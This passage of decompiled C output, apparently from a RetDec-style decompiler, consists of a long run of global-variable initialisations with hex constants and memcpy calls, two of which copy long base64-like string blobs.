+F8EHz1QlLPc99XW+iY0umLZK5ABm93iz517JaGI7oviUAmephhhTxpw7ZXIGcEzU2GF2jfoAZFgJyQ23IQkK8Lldhk+quhejzijWue/q2qFvywv34VNQ2uQRSspH9b4QaNlc3QHOSu0ZyWgl+pwn0I5pPo9IM8ywRTUyTNBQZiYQottLq7zy86jrMatDkNtTIpsZQ3lYH4E8Zg40Ny7j77wRVD+/5vCZtVFps+OupEvBMt9Zd5Cd9Ai4R5iZHYxFOcnnkjFZlRaPA9xUlFviGTcg4xvsh/e9CYOzDh66hrV1Njm0mKB1VOnZncnyhvpbYQKRC1HZkEeKnzRzv1J3Nm+MhWDZ5K5RRXs89Zf7rSBh34VOMt23PFErMrUdkRMXM1ymgfqpqmtHqlQl3H5N98o89BZfofLVR/aLqTRW", 308);
  2981.     *(char *)&g422 = 52;
  2982.     g423 = 0x10000000;
  2983.     g424 = 0x3f14184c;
  2984.     *(int16_t *)&g425 = 0;
  2985.     g426 = g6;
  2986.     g427 = 1502;
  2987.     memcpy((char *)&g428, (char *)&g44, 375);
  2988.     *(int16_t *)&g428 = *(int16_t *)&g44;
  2989.     g429 = 0x60000000;
  2990.     g430 = 0x3f023dd6;
  2991.     *(int16_t *)&g431 = 0;
  2992.     g432 = g6;
  2993.     g433 = v3;
  2994.     memcpy((char *)&g434, "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", 365);
  2995.     g435 = 0x60000000;
  2996.     g436 = 0x3f4a9e08;
  2997.     *(int16_t *)&g437 = 0;
  2998.     g438 = g6;
  2999.     g439 = 1233;
  3000.     memcpy((char *)&g440, "JNNVBVLf2sT5fexUEH4+yJ+acD0o/tlL8NWFGVMAb8sEL9jJT1RtR0c6XgIlZXQrjrT1/VRo3CwmsEH177rOqwtf3UEtlTvsMKGArsdjxV2WMC8pdE3gp/5F8p/9dZtTSYHv86T0s67e1D9h8bM9UeXBvvK0InkVHNc+QBCLSQQ8WZKPi65JrOAw6RYSbVuYmd4edzOz+MM3s9ihiP+v2Ia/qb8wnVsSaqc7dJr1/LHf58l55jopke6HbVf8+AXDS4cyYU3KufxpRBJ+RDNH2SfHgDe5nsLya0cTbE9TW17G0rjzidLF+1SKxtvyoygytWD+OFEzdREaKGI+ChFwrnNQxwLmoEqd4z08bluAYxkWTwPelzwPMnTHkDmpwbP+nJyrtAjELCaF3HOZcSnjo0ElSnQqk2yEEVmg4IOUAmcWv91SGReAcyACoZADCeT+mZjZhABDtNN7fMP7M8dgG3sTlQkLucLI3B7V2utiRsCOPfyrr6/xUNX7d+eToFoQcmrsfv/znK9q1B5EHCV9A7SaZZhT4p6lYRfnPg1kZ8TGZ5YNl51yfRJ61Rwgnc38RP4HkFhdvdCoeqQM0Kw2qj/DimszVvNsbOvXA/4D5nDfhhUX4d6WVFXtthZzswTVTJTCqWGTBaCRaeJDg1oTw5WcnbMdnSFxH6O6JpVxcN/FxvKXQoxIpoBFqcm/xl4fYkpUvqY9rq/92UORbBCPT3CCbWhOP3gJNl1GH8oSuHG7m2bygsKB67Hqk8JKuGzdpGygu00Q/Ytbttzk8rBIdBFi6Tj9GNf4KCdOsOFkl1IiF4mb7bjOLofP5/dBz85pDAIn5VuMi3JB5DcjnBoMITtM7sVuzeT8/uVzDtL+yzz/OqiO4bl9H+BGcrGG5jnlqLgI1dh1thymLio0OwifPa9oIXKscPKcgLGp9kxJ+w89y5JNC3fMvFTAwBmsmMZ1tiwRGNCwRCqI9G/aTX5sjOncf4Z5sobirIT26Cxovw88M/EcTA3cPoHbzwvMa94Bv0O+MCp4e+Nz9c4hcLSLxcj4yVDHO+on/Yx4rhnglhrZNsZQxIKC0BmUd8WQ8tL/8aNRqHuKEcgvcIRwFKrvGE8DjAvrxvUGxt/B9X6TQ+pRpD0ENlpV2yVqFqeJvInYgOguNQs9XTlteOjTLZX5tU97X/JoaVMN8zwAkgTjpIAKN4NQoXD670XEgTNsF7GswgsMIfDXDvTudKaon", 308);
  3001.     *(char *)&g440 = 74;
  3002.     g441 = -0x20000000;
  3003.     g442 = 0x3f11b578;
  3004.     *(int16_t *)&g443 = 0;
  3005.     g444 = g6;
  3006.     g445 = 95;
  3007.     memcpy((char *)&g446, (char *)&g45, 23);
  3008.     *(int16_t *)&g446 = *(int16_t *)&g45;
  3009.     int32_t v4 = 2; // ecx
  3010.     char v5 = *(char *)((int32_t)&g45 + 2); // 0x402a18
  3011.     *(char *)((int32_t)&g446 + 2) = v5;
  3012.     *(int16_t *)&g453 = (int16_t)v4;
  3013.     g454 = v4;
  3014.     g458 = v4;
  3015.     g447 = 0x17d90000;
  3016.     g448 = 0x3ffb00f8;
  3017.     *(int16_t *)&g449 = (int16_t)g6;
  3018.     g450 = g6;
  3019.     g451 = -0x4eb60000;
  3020.     g452 = 0x3fce463e;
  3021.     g455 = -0x16500000;
  3022.     g456 = 0x3fa133cc;
  3023.     *(int16_t *)&g457 = 0;
  3024.     g459 = v1;
  3025.     memcpy((char *)&g460, (char *)&g46, 34);
  3026.     *(char *)&g460 = *(char *)&g46;
  3027.     g464 = 2;
  3028.     g468 = 2;
  3029.     g461 = 0x38000000;
  3030.     g462 = 0x3f200e51;
  3031.     *(int16_t *)&g463 = (int16_t)g6;
  3032.     g465 = -0xc000000;
  3033.     g466 = 0x3f885d29;
  3034.     *(int16_t *)&g467 = 0;
  3035.     g469 = 85;
  3036.     memcpy((char *)&g470, (char *)&g47, 16);
  3037.     *(char *)&g470 = *(char *)&g47;
  3038.     g478 = 3;
  3039.     g486 = 3;
  3040.     g471 = -0x1a600000;
  3041.     g472 = 0x3f871f0f;
  3042.     *(int16_t *)&g473 = (int16_t)g6;
  3043.     g474 = 2;
  3044.     g475 = -0x43200000;
  3045.     g476 = 0x3f848af5;
  3046.     *(int16_t *)&g477 = 2;
  3047.     g479 = 0x40600000;
  3048.     g480 = 0x3fa3f871;
  3049.     *(int16_t *)&g481 = 2;
  3050.     g482 = 4;
  3051.     g483 = -0x4d000000;
  3052.     g484 = 0x3f86f077;
  3053.     *(int16_t *)&g485 = 0;
  3054.     g487 = 132;
  3055.     g488 = 0;
  3056.     g489 = -2;
  3057.     g490 = -0x10000000;
  3058.     g491 = 0x3f2534bc;
  3059.     *(int16_t *)&g492 = 2;
  3060.     g493 = 5;
  3061.     g494 = -0x10c00000;
  3062.     g495 = 0x3f842ca8;
  3063.     *(int16_t *)&g496 = 0;
  3064.     g497 = 4;
  3065.     g498 = 132;
  3066.     g499 = 0;
  3067.     g500 = -2;
  3068.     g501 = -0x80000000;
  3069.     g502 = 0x3f057d2e;
  3070.     *(int16_t *)&g503 = 0;
  3071.     g504 = 5;
  3072.     g505 = 132;
  3073.     g506 = 0;
  3074.     g507 = -2;
  3075.     g508 = -0x20000000;
  3076.     g509 = 0x3f0c2a71;
  3077.     *(int16_t *)&g510 = 2;
  3078.     g511 = 6;
  3079.     g512 = -0x4bf00000;
  3080.     g513 = 0x3f9040fe;
  3081.     *(int16_t *)&g514 = 0;
  3082.     g515 = 6;
  3083.     g516 = 132;
  3084.     g517 = 0;
  3085.     g518 = -2;
  3086.     g519 = -0x10000000;
  3087.     g520 = 0x3f1178ab;
  3088.     *(int16_t *)&g521 = 2;
  3089.     g522 = 7;
  3090.     g523 = -0x68300000;
  3091.     g524 = 0x3f952b9b;
  3092.     *(int16_t *)&g525 = 2;
  3093.     g526 = 8;
  3094.     g527 = -0x53400000;
  3095.     g528 = 0x3f875036;
  3096.     *(int16_t *)&g529 = 0;
  3097.     g530 = 7;
  3098.     g531 = 132;
  3099.     g532 = 0;
  3100.     g533 = -2;
  3101.     g534 = -0x30000000;
  3102.     g535 = 0x3f1eb758;
  3103.     *(int16_t *)&g536 = 0;
  3104.     g537 = 8;
  3105.     g538 = 132;
  3106.     *(int16_t *)&g543 = 2;
  3107.     *(int16_t *)&g547 = 2;
  3108.     *(int16_t *)&g565 = 2;
  3109.     *(int16_t *)&g569 = 2;
  3110.     *(int16_t *)&g580 = 2;
  3111.     *(int16_t *)&g591 = 2;
  3112.     *(int16_t *)&g602 = 2;
  3113.     *(int16_t *)&g613 = 2;
  3114.     g539 = 0;
  3115.     g540 = -2;
  3116.     g541 = -0x78000000;
  3117.     g542 = 0x3f22834b;
  3118.     g544 = 9;
  3119.     g545 = -0x2ef00000;
  3120.     g546 = 0x3f90e531;
  3121.     g548 = 10;
  3122.     g549 = -0x3b400000;
  3123.     g550 = 0x3f8628e2;
  3124.     *(int16_t *)&g551 = 0;
  3125.     g552 = 9;
  3126.     g553 = 132;
  3127.     g554 = 0;
  3128.     g555 = -2;
  3129.     g556 = -0x20000000;
  3130.     g557 = 0x3f1f1e5b;
  3131.     *(int16_t *)&g558 = 0;
  3132.     g559 = 10;
  3133.     g560 = 132;
  3134.     g561 = 0;
  3135.     g562 = -2;
  3136.     g563 = 0;
  3137.     g564 = 0x3f2343cc;
  3138.     g566 = 11;
  3139.     g567 = 0x31000000;
  3140.     g568 = 0x3f90f9c5;
  3141.     g570 = 12;
  3142.     g571 = 0x21a00000;
  3143.     g572 = 0x3f91b41e;
  3144.     *(int16_t *)&g573 = 0;
  3145.     g574 = 11;
  3146.     g575 = 132;
  3147.     g576 = 0;
  3148.     g577 = -2;
  3149.     g578 = 0x68000000;
  3150.     g579 = 0x3f20ec61;
  3151.     g581 = 13;
  3152.     g582 = 0x61e00000;
  3153.     g583 = 0x3f893ce9;
  3154.     *(int16_t *)&g584 = 0;
  3155.     g585 = 12;
  3156.     g586 = 132;
  3157.     g587 = 0;
  3158.     g588 = -2;
  3159.     g589 = 0x30000000;
  3160.     g590 = 0x3f225872;
  3161.     g592 = 14;
  3162.     g593 = 0x32000000;
  3163.     g594 = 0x3f8fa06f;
  3164.     *(int16_t *)&g595 = 0;
  3165.     g596 = 13;
  3166.     g597 = 132;
  3167.     g598 = 0;
  3168.     g599 = -2;
  3169.     g600 = 0x38000000;
  3170.     g601 = 0x3f22e3a1;
  3171.     g603 = 15;
  3172.     g604 = 0x2e200000;
  3173.     g605 = 0x3f8464a6;
  3174.     *(int16_t *)&g606 = 0;
  3175.     g607 = 14;
  3176.     g608 = 132;
  3177.     g609 = 0;
  3178.     g610 = -2;
  3179.     g611 = -0x68000000;
  3180.     g612 = 0x3f21e90b;
  3181.     g614 = 16;
  3182.     g616 = -0x3300000;
  3183.     g617 = 0x3f940e6a;
  3184.     *(int16_t *)&g618 = 0;
  3185.     g619 = 15;
  3186.     g621 = 0;
  3187.     g622 = -2;
  3188.     g626 = 16;
  3189.     g620 = 132;
  3190.     g623 = 0x70000000;
  3191.     g624 = 0x3f2005a0;
  3192.     *(int16_t *)&g625 = 0;
  3193.     g627 = v1;
  3194.     memcpy((char *)&g628, (char *)&g48, 34);
  3195.     *(char *)&g628 = *(char *)&g48;
  3196.     g632 = 16;
  3197.     g637 = 16;
  3198.     g629 = 0x68000000;
  3199.     g630 = 0x3f24e127;
  3200.     *(int16_t *)&g631 = (int16_t)g6;
  3201.     g634 = 0x20000000;
  3202.     g635 = 0x3f842d86;
  3203.     *(int16_t *)&g636 = 0;
  3204.     g638 = 85;
  3205.     memcpy((char *)&g639, (char *)&g49, 21);
  3206.     *(char *)&g639 = *(char *)&g49;
  3207.     g651 = 17;
  3208.     g655 = 17;
  3209.     g647 = 2;
  3210.     *(int16_t *)&g650 = 2;
  3211.     *(int16_t *)&g661 = 2;
  3212.     *(int16_t *)&g665 = 2;
  3213.     *(int16_t *)&g676 = 2;
  3214.     *(int16_t *)&g687 = 2;
  3215.     g640 = -0x28000000;
  3216.     g641 = 0x3f84c53c;
  3217.     *(int16_t *)&g642 = (int16_t)g6;
  3218.     g643 = 16;
  3219.     g644 = -0x2a600000;
  3220.     g645 = 0x3f847db2;
  3221.     *(int16_t *)&g646 = 3;
  3222.     g648 = -0x30000000;
  3223.     g649 = 0x3f8e6130;
  3224.     g652 = 0x7a00000;
  3225.     g653 = 0x3f979388;
  3226.     *(int16_t *)&g654 = 0;
  3227.     g656 = 132;
  3228.     g657 = 0;
  3229.     g658 = -2;
  3230.     g659 = -0x40000000;
  3231.     g660 = 0x3f0f69a7;
  3232.     g662 = 18;
  3233.     g663 = 0x6c100000;
  3234.     g664 = 0x3f936fb8;
  3235.     g666 = 19;
  3236.     g667 = -0x7200000;
  3237.     g668 = 0x3f86e82b;
  3238.     *(int16_t *)&g669 = 0;
  3239.     g670 = 18;
  3240.     g671 = 132;
  3241.     g672 = 0;
  3242.     g673 = -2;
  3243.     g674 = 0x20000000;
  3244.     g675 = 0x3f0a7d7c;
  3245.     g677 = 20;
  3246.     g678 = 0x6f900000;
  3247.     g679 = 0x3f90710d;
  3248.     *(int16_t *)&g680 = 0;
  3249.     g681 = 19;
  3250.     g682 = 132;
  3251.     g683 = 0;
  3252.     g684 = -2;
  3253.     g685 = -0x40000000;
  3254.     g686 = 0x3f10f488;
  3255.     g688 = 21;
  3256.     g694 = 0;
  3257.     g695 = -2;
  3258.     g699 = 21;
  3259.     g701 = 0;
  3260.     g702 = -2;
  3261.     g689 = -0x29600000;
  3262.     g690 = 0x3f88091c;
  3263.     *(int16_t *)&g691 = 0;
  3264.     g692 = 20;
  3265.     g693 = 132;
  3266.     g696 = 0x40000000;
  3267.     g697 = 0x3f152262;
  3268.     *(int16_t *)&g698 = 0;
  3269.     g700 = 132;
  3270.     g703 = -0x58000000;
  3271.     g704 = 0x3f21498f;
  3272.     *(int16_t *)&g705 = 3;
  3273.     g706 = 16;
  3274.     g707 = -0x64dd0000;
  3275.     g708 = 0x3fef7d50;
  3276.     *(int16_t *)&g709 = 0;
  3277.     g710 = g6;
  3278.     g711 = 95;
  3279.     memcpy((char *)&g712, (char *)&g50, 23);
  3280.     *(int16_t *)&g712 = *(int16_t *)&g50;
  3281.     char v6 = *(char *)((int32_t)&g50 + 2); // 0x403362
  3282.     *(char *)((int32_t)&g712 + 2) = v6;
  3283.     g713 = -0x80000000;
  3284.     g714 = 0x3f235c0e;
  3285.     *(int16_t *)&g715 = (int16_t)g6;
  3286.     g716 = g6;
  3287.     g717 = -0x23e00000;
  3288.     g718 = 0x3f87c770;
  3289.     *(int16_t *)&g719 = 0;
  3290.     g720 = g6;
  3291.     g721 = 1502;
  3292.     memcpy((char *)&g722, (char *)&g51, 375);
  3293.     *(int16_t *)&g722 = *(int16_t *)&g51;
  3294.     g723 = -0x51c00000;
  3295.     g724 = 0x3f8aa2ad;
  3296.     *(int16_t *)&g725 = 0;
  3297.     g726 = g6;
  3298.     g727 = v3;
  3299.     memcpy((char *)&g728, (char *)&g52, 365);
  3300.     g729 = 0x10000000;
  3301.     g730 = 0x3f3b3cc3;
  3302.     *(int16_t *)&g731 = 0;
  3303.     g732 = g6;
  3304.     g733 = 1233;
  3305.     memcpy((char *)&g734, (char *)&g53, 308);
  3306.     *(char *)&g734 = *(char *)&g53;
  3307.     g735 = 0x70000000;
  3308.     g736 = 0x3f18212b;
  3309.     *(int16_t *)&g737 = (int16_t)g6;
  3310.     g738 = g6;
  3311.     g739 = -0x3a400000;
  3312.     g740 = 0x3f95423d;
  3313.     *(int16_t *)&g741 = 0;
  3314.     g742 = 3;
  3315.     g743 = v3;
  3316.     memcpy((char *)&g744, (char *)&g54, 365);
  3317.     g745 = 0x56000000;
  3318.     g746 = 0x3f868688;
  3319.     *(int16_t *)&g747 = 0;
  3320.     g748 = 3;
  3321.     g749 = v3;
  3322.     memcpy((char *)&g750, (char *)&g55, 365);
  3323.     g751 = 0x60000000;
  3324.     g752 = 0x3f14b3fd;
  3325.     *(int16_t *)&g753 = 0;
  3326.     g754 = 4;
  3327.     g755 = v3;
  3328.     memcpy((char *)&g756, (char *)&g54, 365);
  3329.     g757 = -0x2a000000;
  3330.     g758 = 0x3f77aeb9;
  3331.     *(int16_t *)&g759 = 0;
  3332.     g760 = 4;
  3333.     g761 = v3;
  3334.     memcpy((char *)&g762, (char *)&g55, 365);
  3335.     g763 = -0x40000000;
  3336.     g764 = 0x3f18800f;
  3337.     *(int16_t *)&g765 = 0;
  3338.     g766 = 5;
  3339.     g767 = 1500;
  3340.     memcpy((char *)&g768, (char *)&g56, 375);
  3341.     g769 = -0x60000000;
  3342.     g770 = 0x3f0a73f4;
  3343.     *(int16_t *)&g771 = 0;
  3344.     g772 = 5;
  3345.     g773 = 1420;
  3346.     memcpy((char *)&g774, (char *)&g57, 355);
  3347.     g775 = 0x40000000;
  3348.     g776 = 0x3f090b0b;
  3349.     *(int16_t *)&g777 = 0;
  3350.     g778 = 6;
  3351.     g779 = 1500;
  3352.     memcpy((char *)&g780, (char *)&g56, 375);
  3353.     g781 = 0x59800000;
  3354.     g782 = 0x3f6b9cbb;
  3355.     *(int16_t *)&g783 = 0;
  3356.     g784 = 6;
  3357.     g785 = 1420;
  3358.     memcpy((char *)&g786, (char *)&g58, 355);
  3359.     g787 = 0x18000000;
  3360.     g788 = 0x3f2a8f00;
  3361.     *(int16_t *)&g789 = 0;
  3362.     g790 = 7;
  3363.     g791 = v3;
  3364.     memcpy((char *)&g792, (char *)&g54, 365);
  3365.     g793 = -0x80000000;
  3366.     g794 = 0x3f151213;
  3367.     *(int16_t *)&g795 = 0;
  3368.     g796 = 7;
  3369.     g797 = v3;
  3370.     memcpy((char *)&g798, (char *)&g55, 365);
  3371.     g799 = -0x6c000000;
  3372.     g800 = 0x3f392055;
  3373.     *(int16_t *)&g801 = 0;
  3374.     g802 = 8;
  3375.     g803 = 1500;
  3376.     int32_t v7 = -63;
  3377.     memcpy((char *)&g804, (char *)&g56, 375);
  3378.     g805 = -0x58000000;
  3379.     g806 = 0x3f24b1ac;
  3380.     *(int16_t *)&g807 = 0;
  3381.     g808 = 8;
  3382.     v1 = 1420;
  3383.     g809 = 1420;
  3384.     memcpy((char *)&g810, (char *)&v7, 355);
  3385.     g811 = -0x20000000;
  3386.     g812 = 0x3f3290d9;
  3387.     *(int16_t *)&g813 = 0;
  3388.     g814 = 9;
  3389.     g815 = v3;
  3390.     memcpy((char *)&g816, (char *)&g54, 365);
  3391.     g817 = -0x48000000;
  3392.     g818 = 0x3f3d8441;
  3393.     *(int16_t *)&g819 = 0;
  3394.     g820 = 9;
  3395.     g821 = v3;
  3396.     memcpy((char *)&g822, (char *)&g55, 365);
  3397.     g823 = -0x35000000;
  3398.     g824 = 0x3f700c16;
  3399.     *(int16_t *)&g825 = 0;
  3400.     g826 = 10;
  3401.     g827 = v3;
  3402.     memcpy((char *)&g828, (char *)&g54, 365);
  3403.     g829 = -0x70000000;
  3404.     g830 = 0x3f218687;
  3405.     *(int16_t *)&g831 = 0;
  3406.     g832 = 10;
  3407.     g833 = v3;
  3408.     memcpy((char *)&g834, (char *)&g55, 365);
  3409.     g835 = 0x50000000;
  3410.     g836 = 0x3f3d2cfb;
  3411.     *(int16_t *)&g837 = 0;
  3412.     g838 = 11;
  3413.     g839 = 1500;
  3414.     memcpy((char *)&g840, (char *)&g56, 375);
  3415.     g841 = 0x20000000;
  3416.     g842 = 0x3f19a8d1;
  3417.     *(int16_t *)&g843 = 0;
  3418.     g844 = 11;
  3419.     g845 = v1;
  3420.     memcpy((char *)&g846, (char *)&v7, 355);
  3421.     g847 = 0x10000000;
  3422.     g848 = 0x3f16650b;
  3423.     *(int16_t *)&g849 = 0;
  3424.     g850 = 12;
  3425.     g851 = v3;
  3426.     memcpy((char *)&g852, (char *)&g54, 365);
  3427.     g853 = 0x4000000;
  3428.     g854 = 0x3f39f7df;
  3429.     *(int16_t *)&g855 = 0;
  3430.     g856 = 12;
  3431.     g857 = v3;
  3432.     memcpy((char *)&g858, (char *)&g55, 365);
  3433.     g859 = -0x70000000;
  3434.     g860 = 0x3f196c26;
  3435.     *(int16_t *)&g861 = 0;
  3436.     g862 = 13;
  3437.     g863 = v3;
  3438.     memcpy((char *)&g864, (char *)&g54, 365);
  3439.     g865 = 0x2f000000;
  3440.     g866 = 0x3f512473;
  3441.     *(int16_t *)&g867 = 0;
  3442.     g868 = 13;
  3443.     g869 = v3;
  3444.     memcpy((char *)&g870, (char *)&g55, 365);
  3445.     g871 = -0x3e800000;
  3446.     g872 = 0x3f6e86bd;
  3447.     *(int16_t *)&g873 = 0;
  3448.     g874 = 14;
  3449.     g875 = v3;
  3450.     memcpy((char *)&g876, (char *)&g54, 365);
  3451.     g877 = -0x78000000;
  3452.     g878 = 0x3f21b499;
  3453.     *(int16_t *)&g879 = 0;
  3454.     g880 = 14;
  3455.     g881 = v3;
  3456.     memcpy((char *)&g882, (char *)&g55, 365);
  3457.     g883 = 0x10000000;
  3458.     g884 = 0x3f3ad20f;
  3459.     *(int16_t *)&g885 = 0;
  3460.     g886 = 15;
  3461.     g887 = v3;
  3462.     memcpy((char *)&g888, (char *)&g54, 365);
  3463.     g889 = 0x68000000;
  3464.     g890 = 0x3f3a8f4d;
  3465.     *(int16_t *)&g891 = 0;
  3466.     g892 = 15;
  3467.     g893 = v3;
  3468.     memcpy((char *)&g894, (char *)&g55, 365);
  3469.     g895 = 0x20000000;
  3470.     g896 = 0x3f147956;
  3471.     *(int16_t *)&g897 = 0;
  3472.     g898 = 17;
  3473.     g899 = 1500;
  3474.     memcpy((char *)&g900, (char *)&g56, 375);
  3475.     g901 = -0x20000000;
  3476.     g902 = 0x3f0dd89c;
  3477.     *(int16_t *)&g903 = 0;
  3478.     g904 = 17;
  3479.     g905 = v1;
  3480.     memcpy((char *)&g906, (char *)&v7, 355);
  3481.     g907 = -0x18000000;
  3482.     g908 = 0x3f446e49;
  3483.     *(int16_t *)&g909 = 0;
  3484.     g910 = 18;
  3485.     g911 = 1500;
  3486.     memcpy((char *)&g912, (char *)&g56, 375);
  3487.     g913 = -0x10000000;
  3488.     g914 = 0x3f12d0ab;
  3489.     *(int16_t *)&g915 = 0;
  3490.     g916 = 18;
  3491.     g917 = v1;
  3492.     memcpy((char *)&g918, (char *)&v7, 355);
  3493.     g919 = 0x30000000;
  3494.     g920 = 0x3f2e42b6;
  3495.     *(int16_t *)&g921 = 0;
  3496.     g922 = 19;
  3497.     g923 = 1500;
  3498.     memcpy((char *)&g924, (char *)&g56, 375);
  3499.     g925 = -0xc000000;
  3500.     g926 = 0x3f3349ef;
  3501.     *(int16_t *)&g927 = 0;
  3502.     g928 = 19;
  3503.     g929 = v1;
  3504.     memcpy((char *)&g930, (char *)&v7, 355);
  3505.     g931 = -0x2c000000;
  3506.     g932 = 0x3f398127;
  3507.     *(int16_t *)&g933 = 0;
  3508.     g934 = 20;
  3509.     g935 = v3;
  3510.     memcpy((char *)&g936, (char *)&g54, 365);
  3511.     g937 = -0x58000000;
  3512.     g938 = 0x3f4fd1e8;
  3513.     *(int16_t *)&g939 = 0;
  3514.     g940 = 20;
  3515.     g941 = v3;
  3516.     memcpy((char *)&g942, (char *)&g55, 365);
  3517.     g943 = 0x50000000;
  3518.     g944 = 0x3f168835;
  3519.     *(int16_t *)&g945 = 0;
  3520.     g946 = 21;
  3521.     g947 = v3;
  3522.     memcpy((char *)&g948, (char *)&g54, 365);
  3523.     g949 = -0x4c000000;
  3524.     g950 = 0x3f3875e0;
  3525.     *(int16_t *)&g951 = 0;
  3526.     g952 = 21;
  3527.     g953 = v3;
  3528.     memcpy((char *)&g954, (char *)&g55, 365);
  3529.     v1 = 3;
  3530.     v3 = 1152;
  3531.     g955 = 0x7c000000;
  3532.     g956 = 0x3f315570;
  3533.     *(int16_t *)&g957 = 0;
  3534.     g958 = 3;
  3535.     g959 = 1152;
  3536.     memcpy((char *)&g960, (char *)&g59, 288);
  3537.     g961 = -0xe000000;
  3538.     g962 = 0x3f448355;
  3539.     *(int16_t *)&g963 = 0;
  3540.     g964 = 4;
  3541.     g965 = v3;
  3542.     memcpy((char *)&g966, (char *)&g59, 288);
  3543.     g967 = 0x70000000;
  3544.     g968 = 0x3f14b464;
  3545.     *(int16_t *)&g969 = 0;
  3546.     g970 = 5;
  3547.     g971 = v3;
  3548.     memcpy((char *)&g972, (char *)&g59, 288);
  3549.     g973 = 0x2d800000;
  3550.     g974 = 0x3f6e24d2;
  3551.     *(int16_t *)&g975 = 0;
  3552.     g976 = 6;
  3553.     g977 = v3;
  3554.     memcpy((char *)&g978, (char *)&g59, 288);
  3555.     g979 = -0x64000000;
  3556.     g980 = 0x3f3a3e9a;
  3557.     *(int16_t *)&g981 = 0;
  3558.     g982 = 7;
  3559.     g983 = v3;
  3560.     memcpy((char *)&g984, (char *)&g59, 288);
  3561.     g985 = -0x6000000;
  3562.     g986 = 0x3f446a89;
  3563.     *(int16_t *)&g987 = 0;
  3564.     g988 = 8;
  3565.     g989 = v3;
  3566.     memcpy((char *)&g990, (char *)&g59, 288);
  3567.     g991 = -0x4c000000;
  3568.     g992 = 0x3f3940ee;
